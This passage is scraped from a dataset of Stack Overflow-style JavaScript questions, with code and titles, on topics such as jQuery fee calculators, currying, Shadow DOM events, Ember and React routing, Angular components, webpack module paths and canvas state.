) ; } function updateInput3 ( ish ) { var valueAttribute = ish.getAttribute ( `` value '' ) ; document.getElementById ( `` id_11-slider_three_image '' ) .setAttribute ( `` value '' , valueAttribute ) ; } < /script >",Using Javascript to update hidden form fields with an image file name on seperate form pages "JS : This is an example of a fee calculator that will run a live tally of fees ( jQuery ) based on what the user selects and answers . I am trying to figure out how to create many IF statements to calculate fees based on two drop downs and a textbox field.What I am trying to accomplish is a jQuery IF function that calculates with an onChange= '' calculateTotal ( ) '' when the user will select there birth month ( calculate months ) this will calculate how many months from now until there next birthday . But I need to have the IF function based on the vehicle drop down ( vehiclebody ) and the weight ( ew ) that is entered those three items will decide the price . Like the examples below and snippet below.For example ( three scenarios ) : [ 1 ] if 4-12 months from now is chosen , as well as 2dr vehicle with a weight under 2499 the price will be 28.10 added to the running fee calculator . [ 2 ] if 4-12 months from now is chosen , as well as 2dr vehicle with a weight between 2500 and 3499 the price will be 36.10 added to the running fee calculator . [ 3 ] if 4-12 months from now is chosen , as well as 2dr vehicle with a weight greater than 3500 the price will be 46.10 added to the running fee calculator.So long story short I want a IF function that calculates onChange= '' calculateTotal ( ) '' and var titleFees = getProofOfOwnership ( ) + ( New IF Function ) ; depending on ( vehiclebody ) chosen & ( ew ) entered & then IF ( monthsToGo ) is equal to 4 thru 12 its such and such price . If ( monthsToGo ) is 1,2,3,13,14 , or 15 the price will be prorated so it will have its own price as well.If its 1 month away they require the user to pay for that month and the full year so 13 months , but if its 2 months they let the user choose either 2 months or 14 months same with 3 months or 15 months ( as you see on the calculate months drop down ) but once it is 4 months ( they pay the full amount no matter if its 4-12 months ) What is horrible is I will have to figure out like 50 different combinations of this so hopefully it will be easy for me to understand with my extreme lack of knowledge with jQuery.Any help will be greatly , greatly , greatly , appreciated ! ! : ) http : //jsfiddle.net/fzy9yev3/15/See snippet below : //Calculate Months ( function ( ) { var monthsToGo ; var Fee = makeStruct ( `` monthSect vehicleBody ewSect price '' ) ; var fees = [ new Fee ( /*monthSect*/2 , /*vehicleBody*/0 , /*ewSect*/0 , /*price*/45.10 ) , new Fee ( 3 , 1 , 0 , 55.10 ) , new Fee ( 4 , 2 , 0 , 65.10 ) , new Fee ( 13 , 3 , 0 , 75.10 ) , new Fee ( 14 , 4 , 0 , 85.10 ) , new Fee ( 15 , 5 , 0 , 95.10 ) ] ; $ ( document ) .ready ( function ( ) { $ ( ' # month2 , # month3 ' ) .hide ( ) ; } ) ; $ ( document ) .on ( 'change ' , ' # ownership input ' , function ( ) { calculateTotal ( ) ; //statedropDown ( $ ( this ) .val ( ) ) ; } ) ; $ ( document ) .on ( 'change ' , ' # month1 ' , function ( ) { // ignore blank options if ( $ ( this ) .val ( ) == `` ) { return ; } var vehicle = $ ( ' # vehiclebody ' ) .val ( ) ; var ew = $ ( ' # ew ' ) .val ( ) ; var ewSect = 0 ; var monthSect = 0 ; var titleFees = 0 ; if ( vehicle == `` || ew == `` ) { alert ( 'Please enter Vehicle Type and/or Empty Weight ' ) ; $ ( this ) .val ( `` ) ; return ; } var today = new Date ( ) ; var birthdate = new Date ( ) ; birthdate.setMonth ( $ ( ' # month1 ' ) .val ( ) ) ; monthsToGo = ( today.getMonth ( ) < birthdate.getMonth ( ) ) ? birthdate.getMonth ( ) - today.getMonth ( ) : ( 12 - today.getMonth ( ) ) + birthdate.getMonth ( ) ; $ ( ' # month2 ' ) .hide ( ) ; $ ( ' # month3 ' ) .hide ( ) ; if ( monthsToGo == 1 ) { this.monthsToGo = 13 ; alert ( this.monthsToGo ) ; } else if ( monthsToGo == 2 ) { $ ( ' # month2 ' ) .show ( ) ; } else if ( monthsToGo == 3 ) { $ ( ' # month3 ' ) .show ( ) ; } else { this.monthsToGo = monthsToGo ; alert ( this.monthsToGo ) ; } if ( monthsToGo > = 4 || monthsToGo < = 12 ) { monthSect = 4 ; //Set monthsToGo to 4 if it is in this range for the linked list so //categorizing is easier //6 possibilities for dates -- 2 , 3 , 4 , 13 , 14 , 15 } else monthSect = monthsToGo ; switch ( vehicle ) { case 0 : //2dr case 2 : //4dr case 4 : //convertible case 5 : //van if ( ew < 2500 ) ewSect = 0 ; else if ( ew > = 2500 & & ew < 3500 ) ewSect = 1 ; else if ( ew > = 3500 ) ewSect = 2 ; break ; case 1 : //pickup if ( ew < 2000 ) ew = 0 ; else if ( ew > = 2000 & & ew < = 3000 ) ewSect = 1 ; else if ( ew > 3000 & & ew < = 5000 ) ewSect = 2 ; break ; case 3 : //trucks if ( ew > 5000 & & ew < 6000 ) ewSect = 0 ; else if ( ew > = 6000 & & ew < 8000 ) ewSect = 1 ; else if ( ew > = 8000 & & ew < 10000 ) ewSect = 2 ; else if ( ew > = 10000 & & ew < 15000 ) ewSect = 3 ; else if ( ew > = 15000 & & ew < 20000 ) ewSect = 4 ; else if ( ew > = 20000 & & ew < = 26000 ) ewSect = 5 ; else if ( ew > 26000 & & ew < 35000 ) ewSect = 6 ; else if ( ew > = 35000 & & ew < 44000 ) ewSect = 7 ; else if ( ew > = 44000 & & ew < 55000 ) ewSect = 8 ; else if ( ew > = 55000 & & ew < 62000 ) ewSect = 9 ; else if ( ew > = 62000 & & ew < 72000 ) ewSect = 10 ; else if ( ew > = 72000 & & ew < = 8000 ) ewSect = 11 ; break ; } console.log ( 'Month Section ( monthSect ) : ' + monthSect + ' ; Vehicle : ' + vehicle + ' ; EW Section ( ewSect ) : ' + ewSect ) ; for ( var i = 0 ; i < fees.length ; i++ ) { console.log ( 'infor ' ) ; if ( fees [ i ] .monthSect == monthSect & & fees [ i ] .vehicleBody == vehicle & & fees [ i ] .ewSect == ewSect ) { titleFees = getProofOfOwnership ( ) + fees [ i ] .price ; console.log ( 'Title Found ! ' + titleFees ) ; $ ( ' # totalPrice ' ) .text ( 'Estimated Transfer Fees $ ' + titleFees ) ; break ; } } } ) ; $ ( ' # month2 , # month3 ' ) .on ( 'change ' , function ( ) { this.monthToGo = $ ( this ) .val ( ) ; alert ( this.monthToGo ) ; } ) ; } ( $ ) ) //Fee Calculator//Setting Proof of Ownership Prices //Set up an associative array var title_prices = new Array ( ) ; title_prices [ `` MCO '' ] =68.25 ; title_prices [ `` FL Title '' ] =78.25 ; title_prices [ `` OOS Title '' ] =88.25 ; // Proof of Ownership Radio Buttonsfunction getProofOfOwnership ( ) { var proofOfOwnership=0 ; //Get a reference to the form id= '' form '' var theForm = document.forms [ `` form '' ] ; //Get a reference to the title the user Chooses name=ownerShip '' : var ownerShip = theForm.elements [ `` ownership '' ] ; //Here since there are 4 radio buttons ownerShip.length = 4 //We loop through each radio buttons for ( var i = 0 ; i < ownerShip.length ; i++ ) { //if the radio button is checked if ( ownerShip [ i ] .checked ) { proofOfOwnership = title_prices [ ownerShip [ i ] .value ] ; //If we get a match then we break out of this loop //No reason to continue if we get a match break ; } } //We return the proofOfOwnership return proofOfOwnership ; } function calculateTotal ( ) { var titleFees = getProofOfOwnership ( ) ; var divobj = document.getElementById ( 'totalPrice ' ) ; divobj.style.display='block ' ; divobj.innerHTML = `` Estimated Transfer Fees $ '' +titleFees ; } function hideTotal ( ) { var divobj = document.getElementById ( 'totalPrice ' ) ; divobj.style.display='none ' ; } function makeStruct ( names ) { var names = names.split ( ' ' ) ; var count = names.length ; function constructor ( ) { for ( var i = 0 ; i < count ; i++ ) { this [ names [ i ] ] = arguments [ i ] ; } } return constructor ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.0/jquery.min.js '' > < /script > < form name= '' form '' > < div id= '' ownership '' > < label class='radiolabel ' > < input type= '' radio '' name= '' ownership '' required= '' yes '' message= '' Please select proof of ownership . '' value= '' MCO '' / > Manufacturer 's Statement of Origin & nbsp ; & nbsp ; < /label > < br/ > < label class='radiolabel ' > < input type= '' radio '' name= '' ownership '' value= '' FL Title '' / > Florida Certificate of Title & nbsp ; & nbsp ; < /label > < br/ > < label class='radiolabel ' > < input type= '' radio '' name= '' ownership '' value= '' OOS Title '' / > Out-of-state Certificate of Title & nbsp ; & nbsp ; < /label > < /div > < br/ > < br/ > < label for='month1 ' > & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; Calculate Months : < /label > < select name= '' month1 '' id= '' month1 '' size= '' 1 '' > < option value= '' '' > Choose a Month < /option > < option value= '' 0 '' > January < /option > < option value= '' 1 '' > February < /option > < option value= '' 2 '' > March < /option > < option value= '' 3 '' > April < /option > < option value= '' 4 '' > May < /option > < option value= '' 5 '' > June < /option > < option value= '' 6 '' > July < /option > < option value= '' 7 '' > August < /option > < option value= '' 8 '' > September < /option > < option value= '' 9 '' > October < /option > < option value= '' 10 '' > November < /option > < option value= '' 11 '' > December < /option > < /select > < select name= '' month2 '' id= '' month2 '' size= '' 1 '' > < option value= '' '' > Choose an Option < /option > < option value= '' 2 '' > 2 < /option > < option value= '' 14 '' > 14 < /option > < /select > < select name= '' month3 '' id= '' month3 '' size= '' 1 '' > < option value= '' '' > Choose an Option < /option > < option value= '' 3 '' > 3 < /option > < option value= '' 15 '' > 15 < /option > < /select > < br/ > < select name= '' vehiclebody '' id= '' vehiclebody '' required= '' yes '' message= '' Please select body . '' size= '' 1 '' > < option value= '' '' > Choose a Vehicle < /option > < option value= '' 0 '' > 2Dr < /option > < option value= '' 1 '' > Pickup < /option > < option value= '' 2 '' > 4dr < /option > < option value= '' 3 '' > Truck < /option > < option value= '' 4 '' > Convertible < /option > < option value= '' 5 '' > Van < /option > < /select > < label for= '' ew '' > Empty Weight : < /label > < input type= '' text '' name= '' ew '' id= '' ew '' / > < br/ > < br/ > < div id= '' totalPrice '' > < /div > < /form >",jQuery IF statements to calculate fees based on two drop downs and a textbox field "JS : I 'm learning JavaScript , and I recently came across a practice problem that asked me to construct a function that could create outputs as follows : I assume currying is involved , and I think I have a basic grasp of how currying works in the simple form of something likebut I have no notion of how I would create a curried function able to handle an indeterminate number of inputs , nor how to make it such that it could result in a variable that can act as both a value and a function . Any insight is appreciated ! I just need a push in the right direction -- at this point I do n't even know what I 'm looking for anymore . var threeSum= sum ( 3 ) ; threeSum //3threeSum ( 4 ) //7threeSum ( 4 ) ( 3 ) //10threeSum ( 4 ) ( 3 ) ( 7 ) //17threeSum ( 4 ) ( 3 ) ( 7 ) ( ) ( 2 ) //19threeSum - 2 //1threeSum + 2 //5 a= > b= > c= > a+b+c","Dynamic currying , and how to hold both a function and value in JavaScript variable" "JS : I have an Angular web component installed on my site . It uses Shadow DOM so it 's super fast ( which it has to be in my case ) . On my site I also have a shortcut on h which opens up a popup that displays some helpful information . It 's a must that this h keybinding stays as it is . Example code of how it was implemented can be seen here : https : //jsfiddle.net/js1edv37/It 's a simple event listener that listens on document : However , this also gets triggered when my web component has focused textarea or input elements . This happens because it uses Shadow DOM , which a script from the outside can not access.You can test it by pressing h on the keyboard inside and outside of the input and textarea elements.Is there a way to let my script from outside of the Shadow DOM web component , still listen for the keyup event , but make it listen for all elements on the page ? Even the ones inside the Shadow DOM . $ ( document ) .on ( `` keyup '' , function ( e ) { }",Event listener outside of Shadow DOM wo n't bind to elements inside of Shadow DOM "JS : Im display all the files in a div which is coming in an array upfiles . Using each in jquery displaying all the files with delete button , when i click on the delete button that respective file details should be deleted from an array.Here is the jquery code each loop which im tring to delete file details from arrayEdited 1 : Actually im implementing drag and drop file upload in jquery php . In validation if total size of all files is greater than 1000kb im displaying delete button , which user has to delete some of the filesEdited 2 : Im getting this error in console log : TypeError : upfiles.splice is not a functionEdited 3 : upfiles is coming from this jquery drop event : var int_loop = 1 ; var display_removebutton= '' '' ; $ ( upfiles ) .each ( function ( index , file ) { if ( total_size > 1000 ) // size limit comparision display_removebutton = `` < img width='20px ' style='cursor : pointer ; ' height='20px ' id='remove_ '' +int_loop+ '' ' src='images/DeleteRed.png ' / > '' size = Math.round ( file.size / 1024 ) ; if ( size > 1000 ) { if ( size > 1024 ) size_display = Math.round ( size / 1024 * 100 ) /100 + ' mb ' ; else size_display = size + ' kb ' ; alert ( file.name+ '' ( `` +size+ '' ) '' + '' will be removed atomatically from list . As it exceeds limit . `` ) ; } if ( size > 1024 ) size_display = Math.round ( size / 1024 * 100 ) /100 + ' mb ' ; // converted to mb else size_display = size + ' kb ' ; $ ( ' # total ' ) .append ( `` < div id='div_selec '' +int_loop+ '' ' > < b > File Name : < /b > `` +file.name + `` < b > Size : < /b > '' + size_display + display_removebutton + `` < /div > '' ) ; $ ( `` # remove_ '' +int_loop ) .click ( function ( ) { var curr_id = this.id ; var id = curr_id.substr ( 7 ) ; alert ( id+'file name '+file.name ) ; $ ( `` # div_selec '' +id ) .empty ( ) ; upfiles.splice ( index , 1 ) //updated as the suggested in comment// delete upfiles [ id ] ; alert ( upfiles.length ) ; } ) ; int_loop++ ; } ) ; $ ( ' # total ' ) .bind ( 'drop ' , function ( event ) { event.stopPropagation ( ) ; event.preventDefault ( ) ; if ( upfiles == 0 ) { upfiles = event.originalEvent.dataTransfer.files ; console.log ( upfiles ) ; // in this console log it is displaying ` FileList [ File , File , File , File , File , File , File ] ` File is nothing but the files which i have dropped in a div } else { if ( confirm ( `` Drop : Do you want to clear files selected already ? '' ) == true ) { upfiles = event.originalEvent.dataTransfer.files ; $ ( ' # fileToUpload ' ) .val ( `` ) ; } else return ; } $ ( `` # fileToUpload '' ) .trigger ( 'change ' ) ; } ) ;",how to remove file details from multi array "JS : This has been answered before , but I wanted to confirm my understanding . In this code : They are both fundamentally doing the same thing , correct ? The only difference is that the function someConstructor ( ) is hoisted , meaning I can call new instances of it before it is defined , if needed , while the var somePrototype can only be called after it 's been defined . Other than that , there 's no difference ? var somePrototype = { speak : function ( ) { console.log ( `` I was made with a prototype '' ) ; } } function someConstructor ( ) { this.speak = function ( ) { console.log ( `` I was made with a constructor '' ) ; } } var obj1 = Object.create ( somePrototype ) ; var obj2 = new someConstructor ( ) ; obj1.speak ( ) ; obj2.speak ( ) ;",JavaScript : Constructor vs Prototype "JS : I have two resources that both have the same sub-resource : The problem is that the ember router builds the names of the route objects out of just the current and parent routes , not out of the whole hierarchy . Thus , it tries to route both /posts/ : id/comments/new and /products/ : id/comments/new to the App.NewCommentRoute object . What can I do to fix this ? This post was adapted from a GitHub issue . App.Router.map ( function ( ) { this.resource ( 'post ' , function ( ) { this.resource ( 'comments ' , function ( ) { this.route ( 'new ' ) ; } ) ; } ) ; this.resource ( 'product ' , function ( ) { this.resource ( 'comments ' , function ( ) { this.route ( 'new ' ) ; } ) ; } ) ; } ) ;",How do I disambiguate nested routes in ember.js ? "JS : I have a bootstrap modal and , inside it , I have a ui-select for tagging.Here 's my example : My problem is : When I open the modal with $ ( 'modal-invite ' ) .modal ( 'show ' ) , the size of the placeholder ( and the clickable area ) is 10 pixel , like this : After clicking on it , it gets the correct width.How can I make ui-select refresh it 's size when the modal opens ? < div class= '' modal modal-invite '' > < div class= '' modal-dialog '' > < div class= '' modal-content '' > < div class= '' modal-header '' > < button type= '' button '' class= '' close '' data-dismiss= '' modal '' aria-label= '' Close '' > < span aria-hidden= '' true '' > & times ; < /span > < /button > < /div > < div class= '' modal-body '' > < ui-select multiple tagging tagging-label= '' '' ng-model= '' email_list '' theme= '' bootstrap '' ng-disabled= '' disabled '' on-select= '' '' on-remove= '' '' title= '' Insert your friends email here . '' > < ui-select-match placeholder= '' Your friends email here ... '' > { { $ item } } < /ui-select-match > < ui-select-choices repeat= '' email in email_list | filter : $ select.search '' > { { email } } < /ui-select-choices > < /ui-select > < /div > < div class= '' modal-footer '' > < button class= '' btn btn-success '' > Invite < /button > < /div > < /div > < /div > < /div >",clickable area of ui-select inside is 10px a bootstrap modal "JS : The big feature changes in Angular 1.5 are surrounding the support of components.While this is all good , I am not sure how this differs from directives.What are the benefits of using components over traditional custom directives ? And are components in Angular 1.5 and Angular 2 the same ? component ( 'myComponent ' , { template : ' < h1 > Hello { { $ ctrl.getFullName ( ) } } < /h1 > ' , bindings : { firstName : ' < ' , lastName : ' < ' } , controller : function ( ) { this.getFullName = function ( ) { return this.firstName + ' ' + this.lastName ; } ; } } ) ;",Components and directives in angular 1.5 JS : I 've got a carousel directive which includes some chunking to map the passed in array of items into an array of arrays of elements structure which then generates markup similar to the pseudo code below : The angular template for this looks like this : Given my view code : I would want the transcluded element to bind to the item object of the deepest ng-repeatA full Plunker with a reduced test case is available here : http : //plnkr.co/edit/kYItcXV0k9KvnpiYx1iGThe problem is that I can not put a ng-transclude attribute inside the ng-repeat and that ( as the carousel.js directive file in the Plunkr shows ) I ca n't seem to inject the to-be-transcluded markup manually into that spot either using the transclude ( ) function in the compile step of the directive.Any ideas would be much appreciated . < array of arrays > < array of items > < item > < item > < /array of items > < array of items > < item > < item > < /array of items > < /array of arrays > < div class= '' carousel__content '' ng-style= '' carousel.containerWidth '' > < ul class= '' carousel__chunk '' ng-repeat= '' chunk in carousel.chunks '' ng-style= '' carousel.chunkWidth '' > < li class= '' carousel__item '' ng-repeat= '' item in chunk '' ng-style= '' carousel.itemWidth '' > < div class= '' carousel__item-content '' > [ element should be transcluded into this spot . ] < /div > < /li > < /ul > < /div > < ! -- The < a > tag should appear inside the 'carousel.html ' template 's ng-repeat list . -- > < carousel items= '' items '' config= '' config '' > < a href= '' # '' > { { item.name } } < /a > < /carousel >,AngularJS : How can I transclude an element into a template that uses ng-repeat ? "JS : In Firefox 3.5 , I type this in the Firebug console : What is the explanation for this ? false== { } // = > evals to false { } ==false // syntax error",JavaScript : { } ==false is a SyntaxError ? "JS : What is length static property of Function , Array and Object constructor ? Static methods makes sense but what about length static property ? Note : I am getting answers about length property of Function.prototype that is not asked here . Object.getOwnPropertyNames ( Array ) [ `` length '' , `` name '' , `` arguments '' , `` caller '' , `` prototype '' , `` isArray '' ] Object.getOwnPropertyNames ( Function ) [ `` length '' , `` name '' , `` arguments '' , `` caller '' , `` prototype '' ] Object.getOwnPropertyNames ( Function.prototype ) [ `` length '' , `` name '' , `` arguments '' , `` caller '' , `` constructor '' , `` bind '' , `` toString '' , `` call '' , `` apply '' ] Object.getOwnPropertyNames ( Object ) [ `` length '' , `` name '' , `` arguments '' , `` caller '' , `` prototype '' , `` keys '' , `` create '' , `` defineProperty '' , `` defineProperties '' , `` freeze '' , `` getPrototypeOf '' , `` getOwnPropertyDescriptor '' , `` getOwnPropertyNames '' , `` is '' , `` isExtensible '' , `` isFrozen '' , `` isSealed '' , `` preventExtensions '' , `` seal '' ]","What is the length property of the Function , Array , and Object constructors ?" "JS : I 'm feeling awfully silly here - I ca n't get a simple class switching statement to work in jQuery ! I can only sit in frustration as for the last 45 minutes , I 've searched Stack Overflow questions and answers , to no avail.My goal is , upon clicking an item with the colorClick id ( already containing a default class of `` white '' ) , to rotate that item between being assigned the class green , yellow , orange , red , and back to white again ( ad infinitum ) .The CSS is simple - each class simply corresponds to a different background color.The HTML is simple - a div tag with two CSS classes ( one static , one to be changed by jQuery ) .The jQuery is simple - read the class on the clicked item , and change it.And now , you understand what vexes me . Here 's what I 'm working with so far : Link to the fiddle : http : //jsfiddle.net/andrewcbailey89/4Lbm99v0/2/ $ ( `` # colorClick '' ) .click ( function ( ) { if ( $ ( this ) .hasClass ( 'white ' ) ) { $ ( this ) .removeClass ( `` white '' ) .addClass ( `` green '' ) ; } else if ( $ ( this ) .hasClass ( 'green ' ) ) { $ ( this ) .removeClass ( 'green ' ) .addClass ( 'yellow ' ) ; } else if ( $ ( this ) .hasClass ( 'yellow ' ) ) { $ ( this ) .removeClass ( 'yellow ' ) .addClass ( 'orange ' ) ; } else if ( $ ( this ) .hasClass ( 'orange ' ) ) { $ ( this ) .removeClass ( 'orange ' ) .addClass ( 'red ' ) ; } else if ( $ ( this ) .hasClass ( 'red ' ) ) { $ ( this ) .removeClass ( 'red ' ) .addClass ( 'white ' ) ; } ) ; .toDoItem { text-align : left ; padding : 3px ; margin-bottom : 5px ; border : 1px solid ; border-color : # e8e7e7 ; } .white { background-color : # ffffff ; } .green { background-color : # b2d8b2 ; } .yellow { background-color : # ffffb2 ; } .orange { background-color : # ffe4b2 ; } .red { background-color : # ffb2b2 ; } < div class= '' toDoItem white '' id= '' colorClick '' > To-do list item < /div > < div class= '' toDoItem white '' id= '' colorClick '' > To-do list item < /div > < div class= '' toDoItem white '' id= '' colorClick '' > To-do list item < /div >",Using jQuery to alternate between classes upon click event "JS : New to react & react-router . I 'm trying to understand this example : https : //github.com/ReactTraining/react-router/blob/1.0.x/docs/API.md # components-1But this.props never contains main or sidebar . My code : Main.jsApp2.jsHome.jsHomeSidebar.jsI 'm using electron with react dev tools . Whenever I debug , this.props contains neither main nor sidebar . Any idea why this is happening ? I 've also tried using an IndexRoute , but it seems to not support a components prop.Other things I 've tried ReactDOM.render ( < Router > < Route path= '' / '' component= { App2 } > < Route path= '' / '' components= { { main : Home , sidebar : HomeSidebar } } / > < /Route > < /Router > , document.getElementById ( 'content ' ) ) ; class App2 extends React.Component { render ( ) { const { main , sidebar } = this.props ; return ( < div > < Menu inverted vertical fixed= '' left '' > { sidebar } < /Menu > < Container className= '' main-container '' > { main } < /Container > < /div > ) ; } } export default App2 ; import React from 'react ' ; class Home extends React.Component { render ( ) { return ( < div > < h1 > Home < /h1 > < /div > ) ; } } export default Home ; class HomeSidebar extends React.Component { render ( ) { return ( < div > < p > I 'm a sidebar < /p > < /div > ) ; } } export default HomeSidebar ; ReactDOM.render ( < Router > < Route component= { App2 } > < Route path= '' / '' components= { { main : Home , sidebar : HomeSidebar } } / > < /Route > < /Router > , document.getElementById ( 'content ' ) ) ; ReactDOM.render ( < Router > < Route path= '' / '' component= { App2 } components= { { main : Home , sidebar : HomeSidebar } } > < Route path= '' admin '' components= { { main : Admin , sidebar : AdminSidebar } } / > < /Route > < /Router > , document.getElementById ( 'content ' ) ) ;",React Router confusion "JS : In the below code we are passing an object . So , according to javascript we are passing a reference and manipulating.But 10 is alerted instead of 12 . Why ? var a = new Number ( 10 ) ; x ( a ) ; alert ( a ) ; function x ( n ) { n = n + 2 ; }",Javascript - primitive vs reference types "JS : I 'm sure that this is relatively straightforward and that I 'm missing something obvious . I 'm reading through Mozilla 's tutorials on ES6 , and their chapter on destructuring contains the following pattern : FUNCTION PARAMETER DEFINITIONS As developers , we can often expose more ergonomic APIs by accepting a single object with multiple properties as a parameter instead of forcing our API consumers to remember the order of many individual parameters . We can use destructuring to avoid repeating this single parameter object whenever we want to reference one of its properties : This is a simplified snippet of real world code from the Firefox DevTools JavaScript debugger ( which is also implemented in JavaScript—yo dawg ) . We have found this pattern particularly pleasing.What I do n't understand is how this relates to destructuring . Is the idea that you permit the ability to pass an object into this function that can be in arbitrary order as long as it contains all items , i.e . { line : 10 , column : 20 , url : 'localhost ' } ? If so , what is the benefit over something like where params is an object with url , line , and column ? Is the idea just that you force Javascript to validate a function 's parameters when used in a destructured context by explicitly defining them ? function removeBreakpoint ( { url , line , column } ) { // ... } function removeBreakpoint ( params ) { // ... }",Function parameter definitions in ES6 "JS : I 'm using a Delphi component based on the Chromium Embedded project . While navigating in a test HTML with some Javascript code to access Google Maps API , it displays the controls for touch enabled devices.I 've seen that this issue is already fixed in the project 's svn , but I 'm going through hell to compile that stuff.However , if I go to the maps.google.com website ( and not my testing HTML with Javascript ) , my component will display the controls for a non-touch enabled device.So , I was wondering ... is there a way to force Google Maps v3 API to accept me as a non-touch device ? EDIT : added user agent and test case below.User agent : Test case : Mozilla/5.0 ( Windows NT 6.1 ) AppleWebKit/534.36 ( KHTML , like Gecko ) Chrome/12.0.742.53 Safari/534.36 < ! DOCTYPE html > < html > < head > < style type= '' text/css '' > html { height : 100 % } body { height : 100 % ; margin : 0px ; padding : 0px } # map_canvas { height : 100 % } < /style > < script type= '' text/javascript '' src= '' http : //maps.googleapis.com/maps/api/js ? sensor=false & language=pt_BR & region=BR '' > < /script > < script type= '' text/javascript '' > var map ; function initialize ( ) { var latlng_map = new google.maps.LatLng ( -23.510700 , -46.602300 ) ; var myOptions_map = { zoom : 15 , center : latlng_map , mapTypeId : google.maps.MapTypeId.ROADMAP } ; map = new google.maps.Map ( document.getElementById ( `` map_canvas '' ) , myOptions_map ) ; } < /script > < /head > < body onload= '' initialize ( ) '' > < div id= '' map_canvas '' style= '' width:100 % ; height:100 % '' > < /div > < /body > < /html >",How to force Google Maps API v3 to discard touch support ? "JS : I am using react-dates in an electron project , which requires initialization via : This internally sets up some variables to be used later . The problem is when I next enter the code where these variables are used , I get an exception because they are still null.It turns out the Chrome/Electron is treating these as 2 separate files , even though they are the same file on disk . When breaking in the setup file , Chrome reports the following paths ( first access/second access ) Ok : thats odd - what gives ? Where/how could this happen ? I assume it 's something to do with my webpack setup - I am using the TsConfigPathsPlugin & output/paths if that matters . From my webpack : My tsconfig uses baseUrl to remap pathsAny suggestions on where/how else to figure this out much appreciated ! -- Edit : I do n't think there is two physical copies on disk , the output from npm -ls react-dates is as follows import 'react-dates/initialize ' ; C : \src\Project\node_modules\react-with-styles\lib\ThemedStyleSheet.jswebpack : ///./node_modules/react-with-styles/lib/ThemedStyleSheet.js /** * Base webpack config used across other specific configs */import path from 'path ' ; import webpack from 'webpack ' ; import { dependencies } from '../package.json ' ; const TsconfigPathsPlugin = require ( 'tsconfig-paths-webpack-plugin ' ) ; export default { externals : [ ... Object.keys ( dependencies || { } ) ] , module : { rules : [ { test : /\.tsx ? $ / , exclude : /node_modules/ , use : [ { loader : 'babel-loader ' , options : { cacheDirectory : true } } , 'ts-loader ' ] } , { test : /\.js $ / , // Transform all .js files required somewhere with Babel exclude : /node_modules/ , use : { loader : 'babel-loader ' , options : { cacheDirectory : true } } } ] } , output : { path : path.join ( __dirname , '.. ' , 'app ' ) , // https : //github.com/webpack/webpack/issues/1114 libraryTarget : 'commonjs2 ' } , /** * Determine the array of extensions that should be used to resolve modules . */ resolve : { extensions : [ '.js ' , '.ts ' , '.tsx ' , '.json ' ] , plugins : [ new TsconfigPathsPlugin ( { configFile : './tsconfig.json ' } ) ] } , plugins : [ new webpack.EnvironmentPlugin ( { NODE_ENV : 'production ' } ) , new webpack.NamedModulesPlugin ( ) ] } ; { `` compilerOptions '' : { `` target '' : `` es5 '' , `` baseUrl '' : `` ./app/ '' , `` jsx '' : `` react '' , `` module '' : `` es2015 '' , `` moduleResolution '' : `` node '' , `` noUnusedLocals '' : true , `` pretty '' : true , `` sourceMap '' : true , `` resolveJsonModule '' : true , `` lib '' : [ `` dom '' , `` es5 '' , `` es6 '' , `` es7 '' , `` es2017 '' ] , `` allowSyntheticDefaultImports '' : true // no errors with commonjs modules interop // '' strict '' : true , // '' strictFunctionTypes '' : false , } , `` exclude '' : [ `` node_modules '' , `` **/node_modules/* '' ] } C : \ < project > \manager-ts > npm ls react-dates erb-typescript-example @ 0.17.1 C : \ < project > \manager-ts ` -- react-dates @ 20.1.0 C : \ < project > \manager-ts >",How/Why do Typescript/Electron/Webpack modules have absolute paths ? "JS : Possible Duplicate : what is the point of void in javascript What is purpose of using void here ? if just remove void ( ) , it should also work , right ? var b=document.body ; if ( b & & ! document.xmlVersion ) { void ( z=document.createElement ( 'script ' ) ) ; void ( z.src='http : //www.google.ca/reader/ui/subscribe-bookmarklet.js ' ) ; void ( b.appendChild ( z ) ) ; } else { location='http : //www.google.com/reader/view/feed/'+encodeURIComponent ( location.href ) ; }",What is purpose of using ` void ` here ? "JS : I want to resize a canvas , but when I do , the context gets reset , losing the current fillStyle , transformation matrix , etc . The ctx.save ( ) and ctx.restore ( ) functions didn ’ t work as I initially expected : After researching for a while , I can ’ t seem to find a good way to save and restore the canvas context after resizing . The only way I can think of is manually saving each property , which seems both messy and slow . ctx.save ( ) doesn ’ t return the saved state either , and I don ’ t know of a way to access the context ’ s stack.Is there a better way , or am I doomed to use something like this : function resizeCanvas ( newWidth , newHeight ) { ctx.save ( ) ; canvas.width = newWidth ; // Resets context , including the save state canvas.height = newHeight ; ctx.restore ( ) ; // context save stack is empty , this does nothing } function resizeCanvas ( newWidth , newHeight ) { let fillStyle = ctx.fillStyle ; let strokeStyle = ctx.strokeStyle ; let globalAlpha= ctx.globalAlpha ; let lineWidth = ctx.lineWidth ; // ... canvas.width = newWidth ; canvas.height = newHeight ; ctx.fillStyle = fillStyle ; ctx.strokeStyle = strokeStyle ; ctx.globalAlpha= globalAlpha ; ctx.lineWidth = lineWidth ; // ... }",Canvas state lost after changing size "JS : I ran into this line of code and I ca n't figure out what it means : I understand the first part is selecting the element called theAppContainer and the second part evaluates to `` addClass '' if s > u , but I ca n't figure out what this line of code does overall . $ ( `` # theAppContainer '' ) [ s > u ? `` addClass '' : `` removeClass '' ] ( `` something '' ) ;",What does brackets and parentheses after jquery selector mean ? "JS : So , I am working on teaching myself Canvas ( HTML5 ) and have most of a simple game engine coded up . It is a 2d representation of a space scene ( planets , stars , celestial bodies , etc ) . My default `` Sprite '' class has a frame listener like such : '' baseClass '' contains a function that allows inheritance and applies `` a '' to `` this.a '' . So , `` var aTest = new Sprite ( { foo : 'bar ' } ) ; '' would make `` aTest.foo = 'bar ' '' . This is how I expose my objects to each other.Thanks in advance . The real trick is that one line , and btw I know it makes no sense whatsoever . Degrees + distance = failure.This is more a physics question than Javascript , but I 've searched and searched and read way to many wiki articles on orbital mathematics . It gets over my head very quickly . Sprite = baseClass.extend ( { init : function ( a ) { baseClass.init ( this , a ) ; this.fields = new Array ( ) ; // list of fields of gravity one is in . Not sure if this is a good idea . this.addFL ( function ( tick ) { // this will change to be independent of framerate soon . // gobjs is an array of all the Sprite objects in the `` world '' . for ( i = 0 ; i < gobjs.length ; i++ ) { // Make sure its got setup correctly , make sure it -wants- gravity , and make sure it 's not -this- sprite . if ( typeof ( gobjs [ i ] .a ) ! = undefined & & ! gobjs [ i ] .a.ignoreGravity & & gobjs [ i ] .id ! = 